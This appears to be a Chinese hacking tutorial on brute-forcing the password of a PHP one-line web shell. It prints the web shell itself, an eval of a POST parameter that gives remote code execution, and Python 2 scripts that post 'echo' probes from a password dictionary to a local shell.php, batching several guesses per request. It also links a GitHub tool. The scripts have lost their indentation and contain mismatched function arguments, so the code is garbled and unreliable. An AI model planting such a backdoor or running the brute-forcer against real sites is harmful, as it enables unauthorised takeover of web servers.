import requests
00x2:首先我们理解一下一句话木马,一样平常post通报参
一个大略的php一句话木马

<?php
eval($_POST['x'])
?>
先测试一下连接
OK,没问题,我们用浏览器打开传参看一下
由此可以看到密码为x,变量提交能匹配上即实行echo语句
这时我猜大家都有了思路,布局post要求即可
00x3:这里我们可以利用网址特性提交多个参数
这样可以提高爆破效率
剖析完成,下面我们开始进行写脚本
00x4:大略爆破shell密码,shell为字典
#!/usr/bin/python
#-- coding:utf-8 --
import requests
def req(url,s):
global html
data = {s:'echo xc666;'}
req = requests.post(url,data=data)
html = req.content
shell = ['z','y','x']
for s in shell:
req('http://127.0.0.1/shell.php',s)
if 'xc666' in html:
print "[+]Find password",s
break
00x5:下面我们按我们刚才说的,一次多个参数,增加效率
首先整理一下字典
shell = []
f = open('shell.txt','r')
for x in f.readlines(): #去除换行等字符
x = x.strip()
shell.append(x)
print u"shell密码个数为:",len(shell)
for i in range(0,len(shell),2): #分割列表
b=shell[i:i+2]
print b
我们一次性提交两个参数测试一下
data = {s:'echo %s;'%s,ss:'echo %s;'%ss}
shell = []
def shelllist():
f = open('shell.txt','r')
for x in f.readlines(): #去除换行等字符
x = x.strip()
shell.append(x)
print u"shell密码个数为:",len(shell)
def main():
shelllist()
for i in range(0,len(shell),2): #分割列表
b=shell[i:i+2]
req('http://127.0.0.1/shell.php',b[0],b[1])
if b[0] in html:
print "[+]Find password",b[0]
break
elif b[1] in html:
print "[+]Find password", b[1]
break
main()
测试一下,一次实行两个密码
00x6:https://github.com/hackxc/Pyhacker/
github项目地址
一次爆破5次密码,可自行调度